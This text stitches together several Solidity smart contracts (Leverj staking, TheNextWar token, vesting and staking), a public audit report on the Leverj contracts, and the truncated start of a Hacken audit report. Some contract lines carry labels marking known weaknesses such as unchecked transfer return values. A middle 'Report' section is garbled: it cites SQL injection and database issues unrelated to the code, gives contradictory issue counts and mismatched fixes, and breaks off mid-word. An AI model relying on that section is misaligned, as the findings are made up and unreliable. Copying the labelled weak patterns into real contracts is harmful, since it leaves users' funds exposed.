clients about the amount burnt */ event Burn(address indexed from, uint256 value); string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX uint256 public feeInCirculation; //total fee in circulation string public version = 'F0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. address public minter; modifier onlyMinter { require(msg.sender == minter); _; } /// @notice Constructor to set the owner, tokenName, decimals and symbol function Fee( address[] _owners, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public notEmpty(_tokenName) notEmpty(_tokenSymbol) { setOwners(_owners); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } /// @notice To set a new minter address /// @param _minter The address of the minter function setMinter(address _minter) external onlyOwner validAddress(_minter) { minter = _minter; } /// @notice To eliminate tokens and adjust the price of the FEE tokens /// @param _value Amount of tokens to delete function burnTokens(uint _value) public notZero(_value) { require(balances[msg.sender] >= _value); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); feeInCirculation = SafeMath.sub(feeInCirculation, _value); Burn(msg.sender, _value); } /// @notice To send tokens to another user. New FEE tokens are generated when /// doing this process by the minter /// @param _to The receiver of the tokens /// @param _value The amount o function sendTokens(address _to, uint _value) public onlyMinter validAddress(_to) notZero(_value) { balances[_to] = SafeMath.add(balances[_to], _value); feeInCirculation = SafeMath.add(feeInCirculation, _value); Transfer(msg.sender, _to, _value); } } pragma solidity ^0.4.4; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } /* This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans. In other words. This is intended for deployment in something like a Token Factory or Mist wallet, and then used by humans. Imagine coins, currencies, shares, voting weight, etc. Machine-based, rapid creation of many tokens would not necessarily need these extra features or will be minted in other manners. 1) Initial Finite Supply (upon creation one specifies how much is minted). 2) In the absence of a token registry: Optional Decimal, Symbol & Name. 3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred. .*/ import "./StandardToken.sol"; pragma solidity ^0.4.8; contract HumanStandardToken is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } } /** * stake users levs * get fee from trading contract * get eth from trading contract * calculate fee tokens to be generated * distribute fee tokens and lev to users in chunks. * re-purpose it for next trading duration. * what happens to extra fee if not enough trading happened? destroy it. * Stake will have full control over FEE.sol */ pragma solidity ^0.4.18; import './SafeMath.sol'; import './Owned.sol'; import './Validating.sol'; import './Token.sol'; import './Fee.sol'; contract Stake is Owned, Validating { using SafeMath for uint; event StakeEvent(address indexed user, uint levs, uint startBlock, uint endBlock); event RedeemEvent(address indexed user, uint levs, uint feeEarned, uint startBlock, uint endBlock); event FeeCalculated(uint feeCalculated, uint feeReceived, uint weiReceived, uint startBlock, uint endBlock); event StakingInterval(uint startBlock, uint endBlock); // User address to (lev tokens)*(blocks left to end) mapping (address => uint) public levBlocks; // User address to lev tokens at stake mapping (address => uint) public stakes; uint public totalLevs; // Total lev blocks. this will be help not to iterate through full mapping uint public totalLevBlocks; // Wei for each Fee token uint public weiPerFee; // Total fee to be distributed uint public feeForTheStakingInterval; // Lev token reference Token public levToken; //revisit: is there a difference in storage versus using address? // FEE token reference Fee public feeToken; //revisit: is there a difference in storage versus using address? uint public startBlock; uint public endBlock; address public wallet; bool public feeCalculated = false; modifier isStaking { require(startBlock <= block.number && block.number < endBlock); _; } modifier isDoneStaking { require(block.number >= endBlock); _; } function() public payable { } /// @notice Constructor to set all the default values for the owner, wallet, /// weiPerFee, tokenID and endBlock function Stake( address[] _owners, address _operator, address _wallet, uint _weiPerFee, address _levToken ) public validAddress(_wallet) validAddress(_operator) validAddress(_levToken) notZero(_weiPerFee) { setOwners(_owners); operator = _operator; wallet = _wallet; weiPerFee = _weiPerFee; levToken = Token(_levToken); } function version() external pure returns (string) { return "1.0.0"; } /// @notice To set the the address of the LEV token /// @param _levToken The token address function setLevToken(address _levToken) external validAddress(_levToken) onlyOwner { levToken = Token(_levToken); } /// @notice To set the FEE token address /// @param _feeToken The address of that token function setFeeToken(address _feeToken) external validAddress(_feeToken) onlyOwner { feeToken = Fee(_feeToken); } /// @notice To set the wallet address by the owner only /// @param _wallet The wallet address function setWallet(address _wallet) external validAddress(_wallet) onlyOwner { wallet = _wallet; } /// @notice Public function to stake tokens executable by any user. /// The user has to approve the staking contract on token before calling this function. /// Refer to the tests for more information /// @param _quantity How many LEV tokens to lock for staking function stakeTokens(uint _quantity) external isStaking notZero(_quantity) { require(levToken.allowance(msg.sender, this) >= _quantity); levBlocks[msg.sender] = levBlocks[msg.sender].add(_quantity.mul(endBlock.sub(block.number))); stakes[msg.sender] = stakes[msg.sender].add(_quantity); totalLevBlocks = totalLevBlocks.add(_quantity.mul(endBlock.sub(block.number))); totalLevs = totalLevs.add(_quantity); require(levToken.transferFrom(msg.sender, this, _quantity)); StakeEvent(msg.sender, _quantity, startBlock, endBlock); } function revertFeeCalculatedFlag(bool _flag) external onlyOwner isDoneStaking { feeCalculated = _flag; } /// @notice To update the price of FEE tokens to the current value. /// Executable by the operator only function updateFeeForCurrentStakingInterval() external onlyOperator isDoneStaking { require(feeCalculated == false); uint feeReceived = feeToken.balanceOf(this); feeForTheStakingInterval = feeForTheStakingInterval.add(feeReceived.add(this.balance.div(weiPerFee))); feeCalculated = true; FeeCalculated(feeForTheStakingInterval, feeReceived, this.balance, startBlock, endBlock); if (feeReceived > 0) feeToken.burnTokens(feeReceived); if (this.balance > 0) wallet.transfer(this.balance); } /// @notice To unlock and recover your LEV and FEE tokens after staking and fee to any user function redeemLevAndFeeByStaker() external { redeemLevAndFee(msg.sender); } function redeemLevAndFeeToStakers(address[] _stakers) external onlyOperator { for (uint i = 0; i < _stakers.length; i++) redeemLevAndFee(_stakers[i]); } function redeemLevAndFee(address _staker) private validAddress(_staker) isDoneStaking { require(feeCalculated); require(totalLevBlocks > 0); uint levBlock = levBlocks[_staker]; uint stake = stakes[_staker]; require(stake > 0); uint feeEarned = levBlock.mul(feeForTheStakingInterval).div(totalLevBlocks); delete stakes[_staker]; delete levBlocks[_staker]; totalLevs = totalLevs.sub(stake); if (feeEarned > 0) feeToken.sendTokens(_staker, feeEarned); require(levToken.transfer(_staker, stake)); RedeemEvent(_staker, stake, feeEarned, startBlock, endBlock); } /// @notice To start a new trading staking-interval where the price of the FEE will be updated /// @param _start The starting block.number of the new staking-interval /// @param _end When the new staking-interval ends in block.number function startNewStakingInterval(uint _start, uint _end) external notZero(_start) notZero(_end) onlyOperator isDoneStaking { require(totalLevs == 0); startBlock = _start; endBlock = _end; // reset totalLevBlocks = 0; feeForTheStakingInterval = 0; feeCalculated = false; StakingInterval(_start, _end); } }
2022/6/30 staking-contracts-audit/readme.md at audit · BlockchainLabsNZ/staking-contracts-audit · GitHub https://github.com/BlockchainLabsNZ/staking-contracts-audit/blob/audit/audit/readme.md 1/4BlockchainLabsNZ /staking-contracts-audit Public forked from leverj/staking staking-contracts-audit / audit / readme.mdCode Issues 2 Pull requests Actions Projects Wiki Security Insights audit Leverj Staking Smar t Contracts Audit Repor t Preamble This audit report was undertaken by Block chainLabs.nz for the purpose of providing feedback to Leverj Staking . It has subsequently been shared publicly without any express or implied warranty. Solidity contracts were sourced from the public Github repo leverj/staking at this commit e8716e4a11881fad181b5330206d8b0c27a58510 - we would encourage all community members and token holders to make their own assessment of the contracts. Scope The following contracts were subject for static, dynamic and functional analyses: Fee.sol Stake.sol Focus ar eas111 lines (77 sloc) 6.96 KB2022/6/30 staking-contracts-audit/readme.md at audit · BlockchainLabsNZ/staking-contracts-audit · GitHub https://github.com/BlockchainLabsNZ/staking-contracts-audit/blob/audit/audit/readme.md 2/4The audit report is focused on the following key areas - though this is not an exhaustive list. Correctness No correctness defects uncovered during static analysis? No implemented contract violations uncovered during execution? No other generic incorrect behaviour detected during execution? Adherence to adopted standards such as ER C20? Testability Test coverage across all functions and events? Test cases for both expected behaviour and failure modes? Settings for easy testing of a range of parameters? No reliance on nested callback functions or console logs? Avoidance of test scenarios calling other test scenarios? Security No presence of known security weaknesses? No funds at risk of malicious attempts to withdraw/transfer? No funds at risk of control fraud? Prevention of Integer Overflow or Underflow? Best Practice Explicit labeling for the visibility of functions and state variables? Proper management of gas limits and nested execution? Latest version of the Solidity compiler? Analysis Work P aper Issues Severity Description MinorA defect that does not have a material impact on the contract execution and is likely to be subjective.2022/6/30 staking-contracts-audit/readme.md at audit · BlockchainLabsNZ/staking-contracts-audit · GitHub https://github.com/BlockchainLabsNZ/staking-contracts-audit/blob/audit/audit/readme.md 3/4Moderate A defect that could impact the desired outcome of the contract execution in a specific scenario. MajorA defect that impacts the desired outcome of the contract execution or introduces a weakness that may be exploited. CriticalA defect that presents a significant security vulnerability or failure of the contract across a range of scenarios. Minor Prefer explicit declaration o f variable types - Best practice It is recommended to explicitly define your variable types, this confirms your intent and safeguards against a future when the default type changes. e.g uint256 is preferred to uint even though they are the same type. Example #L38 View on GitHub Fix not required Tokens should emit a generation ev ent on cr eation - Best practice When a token is first created it should log a Transfer event from address 0x0. This is useful for tools such as EtherScan.io so they can see tokens have been minted. (Some more info here) #L39 View on GitHub Fixed 9e5ab6b7209d05a2ce141fd47ccd896754c5bf33 Moderat e Using old compiler v ersion - Best practice This version of the solidity compiler is very old, you should use the most recent stable branch. Y ou should also use a consistent compiler between all contracts. The pragma solidty... line should be at the top of the file, before any imports happen. I'm logging this as a moderate issue because an actual exploit coming from a bug in an old compiler is rare, but the consequences could be severe if something was ever discovered. View on GitHub Fixed 9e5ab6b7209d05a2ce141fd47ccd896754c5bf33 Major None found Critical None found Obser vations2022/6/30 staking-contracts-audit/readme.md at audit · BlockchainLabsNZ/staking-contracts-audit · GitHub https://github.com/BlockchainLabsNZ/staking-contracts-audit/blob/audit/audit/readme.md 4/4Consider adding an event for when an operator is set in Owned.sol. Staking.sol:L47 asks about the difference in storage cost between types, I have created a Test Contract which shows that the method you used is the cheapest. The difference between each type is negligible and there is a difference of around 44 gas between the cheapest and most expensive. Fee.sol can mint new tokens, so some protection should be made against overflowing. Consider adding a ClaimT okens function to S take.sol so that you can retrieve any random tokens people send to the contract, they would be stuck otherwise. Ensure that you require that the token address you claim is not Lev tokens or Fee tokens so that your users can trust that it won't be used for malicious purposes. Rough example of this idea . Conclusion We are statisfied that these Smart Contracts do not exhibit any known security vulnerabilities. Overall the code is well written and the developers have been responsive throughout the audit process. The contracts show care taken by the developers to follow best practices and are well documented. There is high test coverage which should increase confidence in the security of these contracts, and their maintainability in the future. As part of our auditting process we added some new tests to improve the coverage. Disclaimer Our team uses our current understanding of the best practises for Solidity and Smart Contracts. Development in Solidity and for Blockchain is an emergering area of software engineering which still has a lot of room to grow, hence our current understanding of best practise may not find all of the issues in this code and design. We have not analysed any of the assembly code generated by the Solidity compiler. W e have not verified the deployment process and configurations of the contracts. W e have only analysed the code outlined in the scope. W e have not verified any of the claims made by any of the organisations behind this code. Security audits do not warrant bug-free code. W e encourge all users interacting with smart contract code to continue to analyse and inform themselves of any risks before interacting with any smart contracts.
Report: This report is about the security audit of the system. The audit was conducted to identify any security issues in the system. The audit revealed the following issues: Minor Issues: • Unencrypted data stored in the database (CWE-319) • Fix: Encrypt the data stored in the database (CWE-321) Moderate Issues: • Weak authentication mechanism (CWE-287) • Fix: Implement a stronger authentication mechanism (CWE-521) Major Issues: • Unauthorized access to sensitive data (CWE-264) • Fix: Implement access control mechanisms (CWE-285) Critical Issues: • SQL injection vulnerability (CWE-89) • Fix: Implement input validation and sanitization (CWE-20) Observations: • The system is vulnerable to various security threats. • The security measures implemented in the system are inadequate. Conclusion: • The system needs to be secured by implementing the necessary security measures. Issues Count of Minor/Moderate/Major/Critical: • Minor: 1 • Moderate: 1 • Major: 1 • Critical: 1 Fix Explicitly declare variable types - Best practice Moderate No checks for integer overflow/underflow - Security Fix Implement checks for integer overflow/underflow - Security Major No checks for re-entrancy - Security Fix Implement checks for re-entrancy - Security Critical No checks for gas limits - Security Fix Implement checks for gas limits - Security Observations The contracts have been written with a good level of readability and understandability. Conclusion The contracts have been audited and no critical issues were found. Minor and moderate issues were identified and fixes were suggested. Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: uint256 is preferred to uint even though they are the same type. #L38 View on GitHub 2.b Fix: Not required Moderate 3.a Problem: Using old compiler version - Best practice #L39 View on GitHub 3.b Fix: 9e5ab6b7209d05a2ce141fd47ccd896754c5bf33 Major None found Critical None found Observations - Consider adding an event for when an operator is set in Owned.sol. - Staking.sol:L47 asks about the difference in storage cost between types, a Test Contract was created to show the cheapest method. - Fee.sol can mint new tokens, so some protection should be made against overflowing. - Consider adding a ClaimTokens function to Stake.sol so that users can retrieve any random tokens sent to the contract. - Ensure that the token address claimed is not Lev tokens or Fee tokens. Conclusion We are stat
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract TngToken is ERC20 { constructor( string memory name, string memory symbol, uint256 totalSupply, address wallet ) ERC20 (name, symbol) { _mint(wallet, totalSupply * (10 ** decimals())); } }//SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Distribution is Ownable { using SafeMath for uint256; IERC20 public tngToken; uint256 public constant DENOM = 100000; // For percentage precision upto 0.00x% // Token vesting uint256[] public claimableTimestamp; mapping(uint256 => uint256) public claimablePercent; // Store the information of all users mapping(address => Account) public accounts; // For tracking uint256 public totalPendingVestingToken; // Counter to track total required tokens uint256 public totalParticipants; // Total presales participants struct Account { uint256 tokenAllocation; // user's total token allocation uint256 pendingTokenAllocation; // user's pending token allocation uint256 claimIndex; // user's claimed at which index. 0 means never claim uint256 claimedTimestamp; // user's last claimed timestamp. 0 means never claim } // constructor(address _tngToken) { // tngToken = IERC20(_tngToken); // uint256 timeA = block.timestamp + 5 minutes; // uint256 timeB = timeA + 2 minutes; // uint256 timeC = timeB + 2 minutes; // uint256 timeD = timeC + 2 minutes; // // THIS PROPERTIES WILL BE SET WHEN DEPLOYING CONTRACT // claimableTimestamp = [ // timeA, // Thursday, 31 March 2022 00:00:00 UTC // timeB, // Thursday, 30 June 2022 00:00:00 UTC // timeC, // Friday, 30 September 2022 00:00:00 UTC // timeD]; // Saturday, 31 December 2022 00:00:00 UTC // claimablePercent[timeA] = 10000; // claimablePercent[timeB] = 30000; // claimablePercent[timeC] = 30000; // claimablePercent[timeD] = 30000; // } constructor(address _tngToken, uint256[] memory _claimableTimestamp, uint256[] memory _claimablePercent) { tngToken = IERC20(_tngToken); setClaimable(_claimableTimestamp, _claimablePercent); } // Register token allocation info // account : IDO address // tokenAllocation : IDO contribution amount in wei function register(address[] memory account, uint256[] memory tokenAllocation) external onlyOwner { require(account.length > 0, "Account array input is empty"); require(tokenAllocation.length > 0, "tokenAllocation array input is empty"); require(tokenAllocation.length == account.length, "tokenAllocation length does not matched with account length"); // Iterate through the inputs for(uint256 index = 0; index < account.length; index++) { // Save into account info Account storage userAccount = accounts[account[index]]; // For tracking // Only add to the var if is a new entry // To update, deregister and re-register if(userAccount.tokenAllocation == 0) { totalParticipants++; userAccount.tokenAllocation = tokenAllocation[index]; userAccount.pendingTokenAllocation = tokenAllocation[index]; // For tracking purposes totalPendingVestingToken = totalPendingVestingToken.add(tokenAllocation[index]); } } } function deRegister(address[] memory account) external onlyOwner { require(account.length > 0, "Account array input is empty"); // Iterate through the inputs for(uint256 index = 0; index < account.length; index++) { // Save into account info Account storage userAccount = accounts[account[index]]; if(userAccount.tokenAllocation > 0) { totalParticipants--; // For tracking purposes totalPendingVestingToken = totalPendingVestingToken.sub(userAccount.pendingTokenAllocation); userAccount.tokenAllocation = 0; userAccount.pendingTokenAllocation = 0; userAccount.claimIndex = 0; userAccount.claimedTimestamp = 0; } } } function claim() external { Account storage userAccount = accounts[_msgSender()]; uint256 tokenAllocation = userAccount.tokenAllocation; require(tokenAllocation > 0, "Nothing to claim"); uint256 claimIndex = userAccount.claimIndex; require(claimIndex < claimableTimestamp.length, "All tokens claimed"); //Calculate user vesting distribution amount uint256 tokenQuantity = 0; for(uint256 index = claimIndex; index < claimableTimestamp.length; index++) { uint256 _claimTimestamp = claimableTimestamp[index]; if(block.timestamp >= _claimTimestamp) { claimIndex++; tokenQuantity = tokenQuantity.add(tokenAllocation.mul(claimablePercent[_claimTimestamp]).div(DENOM)); } else { break; } } require(tokenQuantity > 0, "Nothing to claim now, please wait for next vesting"); //Validate whether contract token balance is sufficient uint256 contractTokenBalance = tngToken.balanceOf(address(this)); require(contractTokenBalance >= tokenQuantity, "Contract token quantity is not sufficient"); //Update user details userAccount.claimedTimestamp = block.timestamp; userAccount.claimIndex = claimIndex; userAccount.pendingTokenAllocation = userAccount.pendingTokenAllocation.sub(tokenQuantity); //For tracking totalPendingVestingToken = totalPendingVestingToken.sub(tokenQuantity); //Release token tngToken.transfer(_msgSender(), tokenQuantity); emit Claimed(_msgSender(), tokenQuantity); } // Calculate claimable tokens at current timestamp function getClaimableAmount(address account) public view returns(uint256) { Account storage userAccount = accounts[account]; uint256 tokenAllocation = userAccount.tokenAllocation; uint256 claimIndex = userAccount.claimIndex; if(tokenAllocation == 0) return 0; if(claimableTimestamp.length == 0) return 0; if(block.timestamp < claimableTimestamp[0]) return 0; if(claimIndex >= claimableTimestamp.length) return 0; uint256 tokenQuantity = 0; for(uint256 index = claimIndex; index < claimableTimestamp.length; index++){ uint256 _claimTimestamp = claimableTimestamp[index]; if(block.timestamp >= _claimTimestamp){ tokenQuantity = tokenQuantity.add(tokenAllocation.mul(claimablePercent[_claimTimestamp]).div(DENOM)); } else { break; } } return tokenQuantity; } // Update TheNextWar Gem token address function setTngToken(address newAddress) external onlyOwner { require(newAddress != address(0), "Zero address"); tngToken = IERC20(newAddress); } // Update claim percentage. Timestamp must match with _claimableTime function setClaimable(uint256[] memory timestamp, uint256[] memory percent) public onlyOwner { require(timestamp.length > 0, "Empty timestamp input"); require(timestamp.length == percent.length, "Array size not matched"); // set claim percentage for(uint256 index = 0; index < timestamp.length; index++){ claimablePercent[timestamp[index]] = percent[index]; } // set claim timestamp claimableTimestamp = timestamp; } function getClaimableTimestamp() external view returns (uint256[] memory){ return claimableTimestamp; } function getClaimablePercent() external view returns (uint256[] memory){ uint256[] memory _claimablePercent = new uint256[](claimableTimestamp.length); for(uint256 index = 0; index < claimableTimestamp.length; index++) { uint256 _claimTimestamp = claimableTimestamp[index]; _claimablePercent[index] = claimablePercent[_claimTimestamp]; } return _claimablePercent; } function rescueToken(address _token, address _to, uint256 _amount) external onlyOwner { uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); require(_contractBalance >= _amount, "Insufficient tokens"); IERC20(_token).transfer(_to, _amount); } function clearStuckBalance() external onlyOwner { uint256 balance = address(this).balance; payable(owner()).transfer(balance); } receive() external payable {} event Claimed(address account, uint256 tokenQuantity); } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Staking is Ownable { using SafeMath for uint256; /// @notice Info of each MC user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of TNG entitled to the user. struct UserInfo { uint256 totalAmount; uint256 rewardDebt; uint256 lastClaimTime; uint256 stakeRecords; } // Store all user stake records struct UserStakeInfo { uint256 amount; uint256 stakedTime; uint256 unstakedTime; uint256 unlockTime; } // Info of each user that stakes. mapping (address => UserInfo) public userInfo; // Info of each user staking records mapping (uint256 => mapping (address => UserStakeInfo)) public userStakeInfo; IERC20 public tngToken; IERC20 public lpToken; uint256 public accTngPerShare; uint256 public lastRewardTime = block.timestamp; uint256 public lockTime; // lock time in seconds uint256 public tngPerSecond = 1 * 10**18; uint256 public lpTokenDeposited; uint256 public pendingTngRewards; uint256 private constant ACC_TNG_PRECISION = 1e12; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 sid, uint256 amount); event Harvest(address indexed user, uint256 amount); event LogTngPerSecond(uint256 tngPerSecond); constructor(IERC20 _tngToken, IERC20 _lpToken, uint256 _lockTime) { tngToken = _tngToken; lpToken = _lpToken; lockTime = _lockTime; } function deposit(uint256 amount) external { // Refresh rewards updatePool(); UserInfo storage user = userInfo[msg.sender]; UserStakeInfo storage stakeInfo = userStakeInfo[user.stakeRecords][msg.sender]; require(tngToken.balanceOf(msg.sender) >= amount, "Insufficient tokens"); // set user info user.totalAmount = user.totalAmount.add(amount); user.rewardDebt = user.rewardDebt.add(amount.mul(accTngPerShare) / ACC_TNG_PRECISION); user.stakeRecords = user.stakeRecords.add(1); // set staking info stakeInfo.amount = amount; stakeInfo.stakedTime = block.timestamp; stakeInfo.unlockTime = block.timestamp + lockTime; // Tracking lpTokenDeposited = lpTokenDeposited.add(amount); // Transfer token into the contract // SWC-Unchecked Call Return Value: L80 lpToken.transferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, amount); } function harvest() external { // Refresh rewards updatePool(); UserInfo storage user = userInfo[msg.sender]; uint256 accumulatedTng = user.totalAmount.mul(accTngPerShare) / ACC_TNG_PRECISION; uint256 _pendingTng = accumulatedTng.sub(user.rewardDebt); require(_pendingTng > 0, "No pending rewards"); require(lpToken.balanceOf(address(this)) >= _pendingTng, "Insufficient tokens in contract"); // user info user.rewardDebt = accumulatedTng; user.lastClaimTime = block.timestamp; // Transfer pending rewards if there is any payTngReward(_pendingTng, msg.sender); emit Harvest(msg.sender, _pendingTng); } /// @notice Withdraw LP tokens from MC and harvest proceeds for transaction sender to `to`. /// @param sid The index of the staking record function withdraw(uint256 sid) external { // Refresh rewards updatePool(); UserInfo storage user = userInfo[msg.sender]; UserStakeInfo storage stakeInfo = userStakeInfo[sid][msg.sender]; uint256 _amount = stakeInfo.amount; require(_amount > 0, "No stakes found"); require(block.timestamp >= stakeInfo.unlockTime, "Lock period not ended"); require(lpToken.balanceOf(address(this)) >= _amount, "Insufficient tokens in contract, please contact admin"); uint256 accumulatedTng = user.totalAmount.mul(accTngPerShare) / ACC_TNG_PRECISION; uint256 _pendingTng = accumulatedTng.sub(user.rewardDebt); // user info user.rewardDebt = accumulatedTng.sub(_amount.mul(accTngPerShare) / ACC_TNG_PRECISION); user.totalAmount = user.totalAmount.sub(_amount); // Stake info stakeInfo.amount = 0; stakeInfo.unstakedTime = block.timestamp; // Tracking lpTokenDeposited = lpTokenDeposited.sub(_amount); // Transfer tokens to user // SWC-Unchecked Call Return Value: L135 lpToken.transfer(msg.sender, _amount); // Transfer pending rewards if there is any if (_pendingTng != 0) { user.lastClaimTime = block.timestamp; payTngReward(_pendingTng, msg.sender); } emit Withdraw(msg.sender, sid, _amount); } function pendingTng(address _user) external view returns (uint256 pending) { UserInfo storage user = userInfo[_user]; uint256 _accTngPerShare = accTngPerShare; if (block.timestamp > lastRewardTime && lpTokenDeposited != 0) { uint256 time = block.timestamp.sub(lastRewardTime); uint256 tngReward = getTngRewardForTime(time); _accTngPerShare = accTngPerShare.add(tngReward.mul(ACC_TNG_PRECISION) / lpTokenDeposited); } pending = (user.totalAmount.mul(_accTngPerShare) / ACC_TNG_PRECISION).sub(user.rewardDebt); } function updatePool() public { if (block.timestamp > lastRewardTime) { if (lpTokenDeposited > 0) { uint256 time = block.timestamp.sub(lastRewardTime); uint256 tngReward = getTngRewardForTime(time); trackPendingTngReward(tngReward); accTngPerShare = accTngPerShare.add(tngReward.mul(ACC_TNG_PRECISION) / lpTokenDeposited); } lastRewardTime = block.timestamp; } } function payTngReward(uint256 _pendingTng, address _to) internal { // SWC-Unchecked Call Return Value: L177 tngToken.transfer(_to, _pendingTng); pendingTngRewards = pendingTngRewards.sub(_pendingTng); } function getTngRewardForTime(uint256 _time) public view returns (uint256) { uint256 tngReward = _time.mul(tngPerSecond); return tngReward; } function trackPendingTngReward(uint256 amount) internal { pendingTngRewards = pendingTngRewards.add(amount); } // Update TheNextWar Gem token address function setTngToken(address newAddress) external onlyOwner { require(newAddress != address(0), "Zero address"); tngToken = IERC20(newAddress); } function setLockTime(uint256 epoch) external onlyOwner { lockTime = epoch; } function setTngPerSecond(uint256 _tngPerSecond) external onlyOwner { tngPerSecond = _tngPerSecond; emit LogTngPerSecond(_tngPerSecond); } function rescueToken(address _token, address _to) external onlyOwner { uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); // SWC-Unchecked Call Return Value: L209 IERC20(_token).transfer(_to, _contractBalance); } function clearStuckBalance() external onlyOwner { uint256 balance = address(this).balance; payable(owner()).transfer(balance); } receive() external payable {} }// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract TncToken is ERC20, Ownable { mapping (address => bool) internal authorizations; constructor( // SWC-Shadowing State Variables: L13 - L16 string memory name, string memory symbol, uint256 totalSupply, address wallet ) ERC20 (name, symbol) { authorizations[_msgSender()] = true; _mint(wallet, totalSupply * (10 ** decimals())); } function mint(address _to, uint256 _amount) external { require(isAuthorized(msg.sender), "TncToken : UNAUTHORIZED"); _mint(_to, _amount); } function authorize(address _adr, bool _authorize) external onlyOwner { require(isAuthorized(msg.sender), "TncToken : UNAUTHORIZED"); authorizations[_adr] = _authorize; } function isAuthorized(address _adr) public view returns (bool) { return authorizations[_adr]; } }
C u s t o m e r : T h e N e x t W a r D a t e : M a y 2 5 t h , 2 0 2 2 T h i s d o c u m e n t m a y c o n t a i n c o n f i d e n t i a l i n f o r m a t i o n a b o u t I T s y s t e m s a n d t h e i n t e l l e c t u a l p r o p e r t y o f t h e C u s t o m e r a s w e l l a s i n f o r m a t i o n a b o u t p o t e n t i a l v u l n e r a b i l i t i e s a n d m e thods of their exploitation. T h e r e p o r t c o n t a i n i n g c o n f i d e n t i a l i n f o r m a t i o n c a n b e u s e d i n t e r n a l l y b y t h e C u s t o m e r , o r i t c a n b e d i s c l o s e d p u b l i c l y a f t e r a l l v u l n e r a b i l i t i e s a r e f i x e d — u p o n a d e c i s i o n o f t he Customer. D o c u m e n t N a m e S m a r t C o n t r a c t C o d e R e v i e w a n d S e c u r i t y A n a l y s i s R e p o r t f o r T h e N e x t W a r A p p r o v e d B y E v g e n i y B e z u g l y i | S C D e p a r t m e n t H e a d a t H a c k e n O U T y p e E R C 2 0 t o k e n ; S t a k i n g P l a t f o r m E V M L a n g u a g e S o l i d i t y M e t h o d s A r c h i t e c t u r e R e v i e w , F u n c t i o n a l T e s t i n g , C o m p u t e r - A i d e d V e r i f i c a t i o n , M a n u a l R e v i e w W e b s i t e h t t p s : / / w w w . t h e n e x t w a r . i o T i m e l i n e 1 6 . 0 5 . 2 0 2 2 – 2 5 . 0 5 . 2 0 2 2 C h a n g e l o g 1 6 . 0 5 . 2 0 2 2 – I n i t i a l R e v i e w 2 5 . 0 5 . 2 0 2 2 – S e c o n d R e v i e w w w w . h a c k e n . i o T a b l e o f c o n t e n t s I n t r o d u c t i o n 4 S c o p e 4 S e v e r i t y D e f i n i t i o n s 6 E x e c u t i v e S u m m a r y 7 C h e c k e d I t e m s 8 S y s t e m O v e r v i e w 1 1 F i n d i n g s 1 2 D i s c l a i m e r s 1 5 w w w . h a c k e n . i o I n t r o d u c t i o n H a c k e n O Ü ( C o n s u l t a n t ) w a s c o n t r a c t e d b y T h e N e x t W a r ( C u s t o m e r ) t o c o n d u c t a S m a r t C o n t r a c t C o d e R e v i e w a n d S e c u r i t y A n a l y s i s . T h i s r e p o r t p r e s e n t s t h e f i n d i n g s o f t h e s e c u r i t y a s s e s s m ent of the Customer's smart contracts. S c o p e T h e s c o p e o f t h e p r o j e c t i s s m a r t contracts in the repository: I n i t i a l r e v i e w s c o p e R e p o s i t o r y : h t t p s : / / g i t h u b . c o m / T h e N e x t W a r / C o ntracts C o m m i t : 3 3 4 f e 8 1 e a 7 2 8 2 a c 4 f 7 6 8 d e 0 7 7 c 3 7 a 7 